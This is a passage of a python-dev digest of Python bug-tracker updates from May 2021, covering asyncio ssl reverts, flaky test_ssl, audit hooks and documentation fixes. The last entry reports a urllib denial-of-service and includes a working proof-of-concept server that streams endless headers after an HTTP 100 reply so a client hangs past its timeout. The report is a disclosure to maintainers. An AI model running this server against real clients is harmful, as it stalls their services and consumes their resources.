<1620041833.85.0.618405521748.issue43667@roundup.psfhosted.org> Change by Jakub Kulik : ---------- pull_requests: +24530 pull_request: https://github.com/python/cpython/pull/25847 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 08:28:54 2021 From: report at bugs.python.org (Sujal Patel) Date: Mon, 03 May 2021 12:28:54 +0000 Subject: [issue43667] Solaris: Fix broken Unicode encoding in non-UTF locales In-Reply-To: <1617099094.43.0.768783655635.issue43667@roundup.psfhosted.org> Message-ID: <1620044934.9.0.915326446071.issue43667@roundup.psfhosted.org> Change by Sujal Patel : ---------- components: +Tests -Unicode versions: +Python 3.11 -Python 3.10, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 08:33:06 2021 From: report at bugs.python.org (Zac Hatfield-Dodds) Date: Mon, 03 May 2021 12:33:06 +0000 Subject: [issue43006] Changed behaviour of inspect.signature() in Python 3.10 In-Reply-To: <1611383063.08.0.672499153283.issue43006@roundup.psfhosted.org> Message-ID: <1620045186.5.0.734386701752.issue43006@roundup.psfhosted.org> Zac Hatfield-Dodds added the comment: I think that with PEP-563 reverted, this issue has been fixed. If we have a similar problem from e.g. PEP-649, I'll open another ticket then! ---------- resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 08:34:46 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 03 May 2021 12:34:46 +0000 Subject: [issue44011] Borrow asyncio ssl implementation from uvloop In-Reply-To: <1619987620.01.0.201978044819.issue44011@roundup.psfhosted.org> Message-ID: <1620045286.22.0.851671836543.issue44011@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Since commit https://github.com/python/cpython/commit/5fb06edbbb769561e245d0fe13002bab50e2ae60 was merged there are multiple timeouts in several buildbots. Unfortunately if this is not fixed by the time I need to do the beta release I may need to revert all these commits until all buildbots are stable again. Could someone investigate those timeouts? For instance, check: https://buildbot.python.org/all/#/builders/464/builds/138 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 08:41:10 2021 From: report at bugs.python.org (Christian Heimes) Date: Mon, 03 May 2021 12:41:10 +0000 Subject: [issue44011] Borrow asyncio ssl implementation from uvloop In-Reply-To: <1619987620.01.0.201978044819.issue44011@roundup.psfhosted.org> Message-ID: <1620045670.7.0.340500930876.issue44011@roundup.psfhosted.org> Christian Heimes added the comment: When was https://buildbot.python.org/all/#/builders/464/builds/138 start? The build properties tab doesn't have a start timestamp. Andrew, increase timeout doesn't seem to help. It's looks like the test suite is leaking threads on error. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 08:54:25 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 03 May 2021 12:54:25 +0000 Subject: [issue44011] Borrow asyncio ssl implementation from uvloop In-Reply-To: <1619987620.01.0.201978044819.issue44011@roundup.psfhosted.org> Message-ID: <1620046465.55.0.54024655681.issue44011@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- pull_requests: +24531 pull_request: https://github.com/python/cpython/pull/25848 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 08:56:11 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 03 May 2021 12:56:11 +0000 Subject: [issue44011] Borrow asyncio ssl implementation from uvloop In-Reply-To: <1619987620.01.0.201978044819.issue44011@roundup.psfhosted.org> Message-ID: <1620046571.13.0.26207414673.issue44011@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: I have created https://github.com/python/cpython/pull/25848 for the revert, in case this is not fixed in the next hours or so. Given the nature of PR 17975, this should have tested with the buildbots as the release team asked in: https://mail.python.org/archives/list/python-committers at python.org/thread/SIJQE3BZ6ICCGNJWFR4YR65BQBJJZZAZ/ and https://mail.python.org/archives/list/python-committers at python.org/thread/V7V5JHKZCJVE2GTI5NFEP3PNKOLH35VL/ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 09:00:13 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Mon, 03 May 2021 13:00:13 +0000 Subject: [issue44018] Bug in random.seed In-Reply-To: <1620033218.62.0.404367985861.issue44018@roundup.psfhosted.org> Message-ID: <1620046813.24.0.0325760054629.issue44018@roundup.psfhosted.org> Shreyan Avigyan added the comment: One solution to these would be making a copy of the parameter using copy.deepcopy and then performing operations on that copy. (The downside of this solution is that it will change the behavior.) ---------- nosy: +shreyanavigyan _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 09:00:16 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 03 May 2021 13:00:16 +0000 Subject: [issue44011] Borrow asyncio ssl implementation from uvloop In-Reply-To: <1619987620.01.0.201978044819.issue44011@roundup.psfhosted.org> Message-ID: <1620046816.99.0.740136047883.issue44011@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Specifically this part of both messages: >> If your change involves some platform-specific behaviour or has a >> non-trivial amount of C code, make sure you run the buildbots >> in your Pull Request by using the "test-with-buildbots" label ( >> https://discuss.python.org/t/now-you-can-test-a-pr-with-the-buildbots-before...). >> Alternatively you could check the buildbots post-merge in the buildbot server: >> https://buildbot.python.org/all/#/builders?tags=%2B3.x&tags=%2Bstable >> This is very important because if problems are detected at the time >> of the >> release, the release management team may have to revert >> the changes and therefore those will not be included in Python 3.10. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 09:03:35 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 03 May 2021 13:03:35 +0000 Subject: [issue42725] PEP 563: Should the behavior change for yield/yield from's In-Reply-To: <1608730131.08.0.595189962302.issue42725@roundup.psfhosted.org> Message-ID: <1620047015.33.0.0559701896568.issue42725@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Batuhan, can this issue be closed? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 09:06:39 2021 From: report at bugs.python.org (Steve Dower) Date: Mon, 03 May 2021 13:06:39 +0000 Subject: [issue42800] Traceback objects allow accessing frame objects without triggering audit hooks In-Reply-To: <1609460218.67.0.01717828776.issue42800@roundup.psfhosted.org> Message-ID: <1620047199.63.0.0678921421475.issue42800@roundup.psfhosted.org> Steve Dower added the comment: New changeset bb2f3ff7a8f0c3565ccc1946dba7e09a3f7dc209 by Steve Dower in branch '3.9': bpo-42800: Add audit events for f_code and tb_frame (GH-24182) https://github.com/python/cpython/commit/bb2f3ff7a8f0c3565ccc1946dba7e09a3f7dc209 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 09:06:48 2021 From: report at bugs.python.org (miss-islington) Date: Mon, 03 May 2021 13:06:48 +0000 Subject: [issue42800] Traceback objects allow accessing frame objects without triggering audit hooks In-Reply-To: <1609460218.67.0.01717828776.issue42800@roundup.psfhosted.org> Message-ID: <1620047208.27.0.892665024362.issue42800@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 6.0 -> 7.0 pull_requests: +24532 pull_request: https://github.com/python/cpython/pull/25849 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 09:13:00 2021 From: report at bugs.python.org (Christian Heimes) Date: Mon, 03 May 2021 13:13:00 +0000 Subject: [issue43943] test_ssl fails in the macos CI In-Reply-To: <1619441607.06.0.479500365034.issue43943@roundup.psfhosted.org> Message-ID: <1620047580.7.0.597449896512.issue43943@roundup.psfhosted.org> Change by Christian Heimes : ---------- keywords: +patch pull_requests: +24533 stage: -> patch review pull_request: https://github.com/python/cpython/pull/25850 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 09:17:42 2021 From: report at bugs.python.org (Christian Heimes) Date: Mon, 03 May 2021 13:17:42 +0000 Subject: [issue43943] test_ssl fails in the macos CI In-Reply-To: <1619441607.06.0.479500365034.issue43943@roundup.psfhosted.org> Message-ID: <1620047862.64.0.71349036649.issue43943@roundup.psfhosted.org> Christian Heimes added the comment: I'm still unsure why tests are sometimes failing. Test fail rarely on macOS and Windows. When tests are failing it's usually a bunch of tests that fail with "connection reset by peer". I suspect that the listener backlog and timeout of the server socket is too aggressive. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 09:24:13 2021 From: report at bugs.python.org (miss-islington) Date: Mon, 03 May 2021 13:24:13 +0000 Subject: [issue42800] Traceback objects allow accessing frame objects without triggering audit hooks In-Reply-To: <1609460218.67.0.01717828776.issue42800@roundup.psfhosted.org> Message-ID: <1620048253.16.0.779855135703.issue42800@roundup.psfhosted.org> miss-islington added the comment: New changeset 8ab272f0f3dd7da44f8e21d2a5a39c2ab39490d6 by Miss Islington (bot) in branch '3.8': bpo-42800: Add audit events for f_code and tb_frame (GH-24182) https://github.com/python/cpython/commit/8ab272f0f3dd7da44f8e21d2a5a39c2ab39490d6 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 09:32:00 2021 From: report at bugs.python.org (Tal Einat) Date: Mon, 03 May 2021 13:32:00 +0000 Subject: [issue44010] IDLE: highlight soft keywords In-Reply-To: <1619968726.44.0.898029339856.issue44010@roundup.psfhosted.org> Message-ID: <1620048720.87.0.473380063196.issue44010@roundup.psfhosted.org> Change by Tal Einat : ---------- keywords: +patch pull_requests: +24534 stage: test needed -> patch review pull_request: https://github.com/python/cpython/pull/25851 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 09:33:25 2021 From: report at bugs.python.org (Tal Einat) Date: Mon, 03 May 2021 13:33:25 +0000 Subject: [issue44010] IDLE: highlight soft keywords In-Reply-To: <1619968726.44.0.898029339856.issue44010@roundup.psfhosted.org> Message-ID: <1620048805.59.0.184970902043.issue44010@roundup.psfhosted.org> Tal Einat added the comment: I've created a PR (GH-25851) with a rather quick, working implementation. This includes some tests but I haven't thoroughly tested it yet. If anyone can take a look and give feedback on the approach, that would be great. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 10:06:51 2021 From: report at bugs.python.org (Ken Jin) Date: Mon, 03 May 2021 14:06:51 +0000 Subject: [issue42083] PyStructSequence_NewType broken in 3.8 In-Reply-To: <1603132025.42.0.432168177789.issue42083@roundup.psfhosted.org> Message-ID: <1620050811.23.0.261721348149.issue42083@roundup.psfhosted.org> Change by Ken Jin : ---------- keywords: +patch nosy: +kj nosy_count: 3.0 -> 4.0 pull_requests: +24536 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/25852 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 10:06:50 2021 From: report at bugs.python.org (Ken Jin) Date: Mon, 03 May 2021 14:06:50 +0000 Subject: [issue41832] PyType_FromSpec() should accept tp_doc=NULL In-Reply-To: <1600770571.99.0.249807543427.issue41832@roundup.psfhosted.org> Message-ID: <1620050810.28.0.367675463163.issue41832@roundup.psfhosted.org> Change by Ken Jin : ---------- nosy: +kj nosy_count: 4.0 -> 5.0 pull_requests: +24535 pull_request: https://github.com/python/cpython/pull/25852 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 10:08:59 2021 From: report at bugs.python.org (Senthil Kumaran) Date: Mon, 03 May 2021 14:08:59 +0000 Subject: [issue43882] [security] urllib.parse should sanitize urls containing ASCII newline and tabs. In-Reply-To: <1618774620.3.0.412025280445.issue43882@roundup.psfhosted.org> Message-ID: <1620050939.76.0.612629650102.issue43882@roundup.psfhosted.org> Change by Senthil Kumaran : ---------- pull_requests: +24537 pull_request: https://github.com/python/cpython/pull/25853 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 10:12:08 2021 From: report at bugs.python.org (Senthil Kumaran) Date: Mon, 03 May 2021 14:12:08 +0000 Subject: [issue43882] [security] urllib.parse should sanitize urls containing ASCII newline and tabs. In-Reply-To: <1618774620.3.0.412025280445.issue43882@roundup.psfhosted.org> Message-ID: <1620051128.19.0.258080961655.issue43882@roundup.psfhosted.org> Senthil Kumaran added the comment: Based on Greg's review comment, I have pushed the fix for 3.9, and 3.8 - [3.9] https://github.com/python/cpython/pull/25853 - [3.8] https://github.com/python/cpython/pull/25726 There is no need to hold off releases for these alone. If we get it merged before the release cut today, fine, otherwise, they will be in the next security fix. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 10:24:00 2021 From: report at bugs.python.org (Antony Lee) Date: Mon, 03 May 2021 14:24:00 +0000 Subject: [issue44019] operator.call/operator.__call__ Message-ID: <1620051840.28.0.198895693226.issue44019@roundup.psfhosted.org> New submission from Antony Lee : Adding a call/__call__ function to the operator module (where `operator.call(*args, **kwargs)(func) == func(*args, **kwargs)`, similarly to operator.methodcaller) seems consistent with the design with the rest of the operator module. An actual use case I had for such an operator was collecting a bunch of callables in a list and wanting to dispatch them to concurrent.futures.Executor.map, i.e. something like `executor.map(operator.call, funcs)` (to get the parallelized version of `[func() for func in funcs]`). ---------- components: Library (Lib) messages: 392809 nosy: Antony.Lee priority: normal severity: normal status: open title: operator.call/operator.__call__ versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 10:34:20 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 03 May 2021 14:34:20 +0000 Subject: [issue43916] Mark static types newly converted to heap types as immutable: add Py_TPFLAGS_DISALLOW_INSTANTIATION type flag In-Reply-To: <1619127118.97.0.615486795072.issue43916@roundup.psfhosted.org> Message-ID: <1620052460.74.0.135350869984.issue43916@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- pull_requests: +24538 pull_request: https://github.com/python/cpython/pull/25854 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 10:46:29 2021 From: report at bugs.python.org (Jakub Kulik) Date: Mon, 03 May 2021 14:46:29 +0000 Subject: [issue43667] Solaris: Fix broken Unicode encoding in non-UTF locales In-Reply-To: <1617099094.43.0.768783655635.issue43667@roundup.psfhosted.org> Message-ID: <1620053189.56.0.437533215586.issue43667@roundup.psfhosted.org> Change by Jakub Kulik : ---------- components: +Unicode -Tests versions: +Python 3.10, Python 3.8, Python 3.9 -Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 10:48:03 2021 From: report at bugs.python.org (Webb Scales) Date: Mon, 03 May 2021 14:48:03 +0000 Subject: [issue43990] In documentation Section 6.17, Operator precedence, footnotes 5 & 6 are reversed In-Reply-To: <1619804010.67.0.84044375696.issue43990@roundup.psfhosted.org> Message-ID: <1620053283.34.0.41947843885.issue43990@roundup.psfhosted.org> Webb Scales added the comment: Thanks Raymond and Zackery -- that response was nothing short of amazing! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 10:50:30 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 03 May 2021 14:50:30 +0000 Subject: [issue43916] Mark static types newly converted to heap types as immutable: add Py_TPFLAGS_DISALLOW_INSTANTIATION type flag In-Reply-To: <1619127118.97.0.615486795072.issue43916@roundup.psfhosted.org> Message-ID: <1620053430.97.0.729624996022.issue43916@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: New changeset c2931d31f8ba7cf10044de276018c713ffc73592 by Pablo Galindo in branch 'master': bpo-43916: Move the _PyStructSequence_InitType function to the internal API (GH-25854) https://github.com/python/cpython/commit/c2931d31f8ba7cf10044de276018c713ffc73592 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 10:52:34 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 03 May 2021 14:52:34 +0000 Subject: [issue43754] Eliminate bindings for partial pattern matches In-Reply-To: <1617739231.38.0.2365910918.issue43754@roundup.psfhosted.org> Message-ID: <1620053554.63.0.0216808033409.issue43754@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- pull_requests: +24539 pull_request: https://github.com/python/cpython/pull/25855 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 11:21:05 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 03 May 2021 15:21:05 +0000 Subject: [issue43754] Eliminate bindings for partial pattern matches In-Reply-To: <1617739231.38.0.2365910918.issue43754@roundup.psfhosted.org> Message-ID: <1620055265.89.0.968698096184.issue43754@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: New changeset 39494285e15dc2d291ec13de5045b930eaf0a3db by Pablo Galindo in branch 'master': bpo-43754: Fix compiler warning in Python/compile.c (GH-25855) https://github.com/python/cpython/commit/39494285e15dc2d291ec13de5045b930eaf0a3db ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 11:22:03 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 03 May 2021 15:22:03 +0000 Subject: [issue44011] Borrow asyncio ssl implementation from uvloop In-Reply-To: <1619987620.01.0.201978044819.issue44011@roundup.psfhosted.org> Message-ID: <1620055323.0.0.295955673059.issue44011@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: New changeset 7719953b30430b351ba0f153c2b51b16cc68ee36 by Pablo Galindo in branch 'master': bpo-44011: Revert "New asyncio ssl implementation (GH-17975)" (GH-25848) https://github.com/python/cpython/commit/7719953b30430b351ba0f153c2b51b16cc68ee36 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 11:33:45 2021 From: report at bugs.python.org (Julien Palard) Date: Mon, 03 May 2021 15:33:45 +0000 Subject: [issue44006] symbol documentation still exists In-Reply-To: <1619925800.83.0.907647536987.issue44006@roundup.psfhosted.org> Message-ID: <1620056025.73.0.894858521194.issue44006@roundup.psfhosted.org> Julien Palard added the comment: After the cron passed, and after purging the HTTP cache, it now 404: $ curl https://docs.python.org/3.10/library/symbol.html 404 Not Found Thanks for noticing! ---------- resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 11:37:22 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 03 May 2021 15:37:22 +0000 Subject: [issue44011] Borrow asyncio ssl implementation from uvloop In-Reply-To: <1619987620.01.0.201978044819.issue44011@roundup.psfhosted.org> Message-ID: <1620056242.14.0.616205161922.issue44011@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Unfortunately I have reverted 5fb06edbbb769561e245d0fe13002bab50e2ae60 commit to unblock the beta release :( I know that nobody wants this but my responsibilities as a release manager is to safeguard the stability of the release and we are too close to the beta release to do all the testing we need, giving that many buildbots have been broken in a short timespan. Andrew, we can try to get your PR merge between beta 1 and beta 2 but once we have done extensive testing and we know that there will be no impact on the buildbots and the CI. Thank you all for your understanding ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 11:45:09 2021 From: report at bugs.python.org (Christian Heimes) Date: Mon, 03 May 2021 15:45:09 +0000 Subject: [issue43943] test_ssl fails in the macos CI In-Reply-To: <1619441607.06.0.479500365034.issue43943@roundup.psfhosted.org> Message-ID: <1620056709.68.0.335495705578.issue43943@roundup.psfhosted.org> Christian Heimes added the comment: New changeset c715b524210050bdd2a2e233817246d443bbb236 by Christian Heimes in branch 'master': bpo-43943: ssl tests: Increase server socket timeout, backlog, debugging (GH-25850) https://github.com/python/cpython/commit/c715b524210050bdd2a2e233817246d443bbb236 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 11:47:35 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Mon, 03 May 2021 15:47:35 +0000 Subject: [issue38530] Offer suggestions on AttributeError and NameError In-Reply-To: <1571511451.65.0.74942926189.issue38530@roundup.psfhosted.org> Message-ID: <1620056855.74.0.789607012663.issue38530@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: New changeset 80a2a4ed7d090fff2584302f07315d567109bca9 by Dennis Sweeney in branch 'master': bpo-38530: Refactor and improve AttributeError suggestions (GH-25776) https://github.com/python/cpython/commit/80a2a4ed7d090fff2584302f07315d567109bca9 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 11:47:53 2021 From: report at bugs.python.org (Christian Heimes) Date: Mon, 03 May 2021 15:47:53 +0000 Subject: [issue43943] test_ssl fails in the macos CI In-Reply-To: <1619441607.06.0.479500365034.issue43943@roundup.psfhosted.org> Message-ID: <1620056873.02.0.279761596864.issue43943@roundup.psfhosted.org> Christian Heimes added the comment: fingers crossed! ---------- resolution: -> fixed status: open -> pending type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 11:50:04 2021 From: report at bugs.python.org (Jelle Zijlstra) Date: Mon, 03 May 2021 15:50:04 +0000 Subject: [issue44006] symbol documentation still exists In-Reply-To: <1619925800.83.0.907647536987.issue44006@roundup.psfhosted.org> Message-ID: <1620057004.49.0.351722381576.issue44006@roundup.psfhosted.org> Jelle Zijlstra added the comment: Thanks Julien! I noticed two other libraries in the same situation: https://docs.python.org/3.10/library/formatter.html and https://docs.python.org/3.10/library/parser.html. The RST files for both are also gone from master. Could you purge the cache for them too, or would you prefer I open a new issue? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 11:51:41 2021 From: report at bugs.python.org (Eric V. Smith) Date: Mon, 03 May 2021 15:51:41 +0000 Subject: [issue43558] The dataclasses documentation should mention how to call super().__init__ In-Reply-To: <1616165238.01.0.0594716110393.issue43558@roundup.psfhosted.org> Message-ID: <1620057101.76.0.254245338665.issue43558@roundup.psfhosted.org> Change by Eric V. Smith : ---------- assignee: eric.smith -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 11:55:42 2021 From: report at bugs.python.org (Eric V. Smith) Date: Mon, 03 May 2021 15:55:42 +0000 Subject: [issue43558] The dataclasses documentation should mention how to call super().__init__ In-Reply-To: <1616165238.01.0.0594716110393.issue43558@roundup.psfhosted.org> Message-ID: <1620057342.09.0.131521909464.issue43558@roundup.psfhosted.org> Change by Eric V. Smith : ---------- keywords: +newcomer friendly _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 11:55:53 2021 From: report at bugs.python.org (Ammar Askar) Date: Mon, 03 May 2021 15:55:53 +0000 Subject: [issue44006] symbol documentation still exists In-Reply-To: <1619925800.83.0.907647536987.issue44006@roundup.psfhosted.org> Message-ID: <1620057353.99.0.1450292803.issue44006@roundup.psfhosted.org> Ammar Askar added the comment: Also, would it make sense to do a clean build (with the html output folder wiped) in the build-cron to avoid this happening in the future? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 12:33:41 2021 From: report at bugs.python.org (PAKKURTHI MOHAN SAI KRISHNA) Date: Mon, 03 May 2021 16:33:41 +0000 Subject: [issue43710] Access violations in C extension modules on Python 3.9.3 In-Reply-To: <1617419380.7.0.273976800885.issue43710@roundup.psfhosted.org> Message-ID: <1620059621.62.0.734829400771.issue43710@roundup.psfhosted.org> Change by PAKKURTHI MOHAN SAI KRISHNA : ---------- assignee: -> terry.reedy components: +IDLE -Extension Modules, Windows nosy: +terry.reedy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 12:41:41 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Mon, 03 May 2021 16:41:41 +0000 Subject: [issue44018] random.seed mutates input bytearray In-Reply-To: <1620033218.62.0.404367985861.issue44018@roundup.psfhosted.org> Message-ID: <1620060101.99.0.035682740491.issue44018@roundup.psfhosted.org> Raymond Hettinger added the comment: Okay, I now understand your report and will prepare a fix. ---------- title: Bug in random.seed -> random.seed mutates input bytearray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 12:49:30 2021 From: report at bugs.python.org (PAKKURTHI MOHAN SAI KRISHNA) Date: Mon, 03 May 2021 16:49:30 +0000 Subject: [issue43943] test_ssl fails in the macos CI In-Reply-To: <1619441607.06.0.479500365034.issue43943@roundup.psfhosted.org> Message-ID: <1620060570.97.0.395558319916.issue43943@roundup.psfhosted.org> Change by PAKKURTHI MOHAN SAI KRISHNA : ---------- components: +macOS nosy: +ned.deily, ronaldoussoren status: pending -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 12:50:29 2021 From: report at bugs.python.org (Jonathan Schweder) Date: Mon, 03 May 2021 16:50:29 +0000 Subject: [issue43991] asyncio lock does not get released after task is canceled In-Reply-To: <1619808584.15.0.419311675075.issue43991@roundup.psfhosted.org> Message-ID: <1620060629.61.0.855509585471.issue43991@roundup.psfhosted.org> Jonathan Schweder added the comment: a.niederbuehl tasks are free of context, meaning that the task does not know what was done inside it, and by consequence is impossible to know when or not release a lock. This is by design and normally in these cases you need to be aware of the lock, by for example checking if the lock was released before cancelling the task. ---------- nosy: +jaswdr _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 12:52:09 2021 From: report at bugs.python.org (PAKKURTHI MOHAN SAI KRISHNA) Date: Mon, 03 May 2021 16:52:09 +0000 Subject: [issue43943] test_ssl fails in the macos CI In-Reply-To: <1619441607.06.0.479500365034.issue43943@roundup.psfhosted.org> Message-ID: <1620060729.42.0.213113186727.issue43943@roundup.psfhosted.org> Change by PAKKURTHI MOHAN SAI KRISHNA : ---------- components: +Installation -macOS nosy: -ned.deily, ronaldoussoren _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 12:53:23 2021 From: report at bugs.python.org (Christian Heimes) Date: Mon, 03 May 2021 16:53:23 +0000 Subject: [issue43943] test_ssl fails in the macos CI In-Reply-To: <1619441607.06.0.479500365034.issue43943@roundup.psfhosted.org> Message-ID: <1620060803.43.0.841868997125.issue43943@roundup.psfhosted.org> Change by Christian Heimes : ---------- assignee: -> christian.heimes components: +SSL, Tests -Installation status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 12:58:11 2021 From: report at bugs.python.org (Steve Dower) Date: Mon, 03 May 2021 16:58:11 +0000 Subject: [issue43976] Allow Python distributors to add custom site install schemes In-Reply-To: <1619713142.43.0.43081473036.issue43976@roundup.psfhosted.org> Message-ID: <1620061091.91.0.33451519206.issue43976@roundup.psfhosted.org> Steve Dower added the comment: > Making sysconfig look at sitecustomize seems like the wrong approach. I mean, you're literally customizing the site, so having it be done from sitecustomize doesn't seem terribly wrong. But I agree, I'd rather see the code in sitecustomize poke paths into sysconfig, rather than the other way around. The problem then would be that -S bypasses the path configuration entirely, which is likely going to point at non-existent paths. So yeah, for this case you need an override that isn't tied to the site module. Having a similar-but-different mechanism in sysconfig seems fine. I have a *slight* preference for non-executable code, mostly to avoid the risk of import hijacking, but it's only slight. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 12:59:08 2021 From: report at bugs.python.org (PAKKURTHI MOHAN SAI KRISHNA) Date: Mon, 03 May 2021 16:59:08 +0000 Subject: [issue44020] test_ssl fails in the macos CI Message-ID: <1620061148.31.0.632922857911.issue44020@roundup.psfhosted.org> Change by PAKKURTHI MOHAN SAI KRISHNA : ---------- components: macOS nosy: christian.heimes, mohansai, ned.deily, pablogsal, ronaldoussoren priority: normal severity: normal status: open title: test_ssl fails in the macos CI type: behavior versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 13:01:50 2021 From: report at bugs.python.org (Akuli) Date: Mon, 03 May 2021 17:01:50 +0000 Subject: [issue44021] enum docs in 3.10: missing "New in version 3.10" Message-ID: <1620061310.33.0.417307154236.issue44021@roundup.psfhosted.org> New submission from Akuli : https://docs.python.org/3.10/library/enum.html says "New in version 3.10: StrEnum". That's true, but these are also new in 3.10: - property (I mean enum.property, not the built-in property) - global_enum - FlagBoundary - StrEnum - EnumType (does this even exist? I compiled the latest python today and I don't have this) ---------- assignee: docs at python components: Documentation messages: 392824 nosy: Akuli, docs at python priority: normal severity: normal status: open title: enum docs in 3.10: missing "New in version 3.10" versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 13:12:56 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Mon, 03 May 2021 17:12:56 +0000 Subject: [issue44018] random.seed mutates input bytearray In-Reply-To: <1620033218.62.0.404367985861.issue44018@roundup.psfhosted.org> Message-ID: <1620061976.25.0.742130191336.issue44018@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- keywords: +patch pull_requests: +24540 stage: -> patch review pull_request: https://github.com/python/cpython/pull/25856 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 3 13:13:03 2021 From: report at bugs.python.org (guangli dong) Date: Mon, 03 May 2021 17:13:03 +0000 Subject: [issue44022] "urllib" will result to deny of service Message-ID: <1620061983.98.0.377096987447.issue44022@roundup.psfhosted.org> New submission from guangli dong : if a client request a http/https/ftp service which is controlled by attacker, attacker can make this client hang forever, event client has set "timeout" argument. maybe this client also will consume more and more memory. i does not test on this conclusion. client.py ``` import urllib.request req = urllib.request.Request('http://127.0.0.1:8085') response = urllib.request.urlopen(req, timeout=1) ``` evil_server.py ``` # coding:utf-8 from socket import * from multiprocessing import * from time import sleep def dealWithClient(newSocket,destAddr): recvData = newSocket.recv(1024) newSocket.send(b"""HTTP/1.1 100 OK\n""") while True: # recvData = newSocket.recv(1024) newSocket.send(b"""x:a\n""") if len(recvData)>0: # print('recv[%s]:%s'%(str(destAddr), recvData)) pass else: print('[%s]close'%str(destAddr)) sleep(10) print('over') break # newSocket.close() def main(): serSocket = socket(AF_INET, SOCK_STREAM) serSocket.setsockopt(SOL_SOCKET, SO_REUSEADDR , 1) localAddr = ('', 8085) serSocket.bind(localAddr) serSocket.listen(5) try: while True: newSocket,destAddr = serSocket.accept() client = Process(target=dealWithClient, args=(newSocket,destAddr)) client.start() newSocket.close() finally: serSocket.close() if __name__ == '__main__': main() ``` ---------- components: Library (Lib) messages: 392825 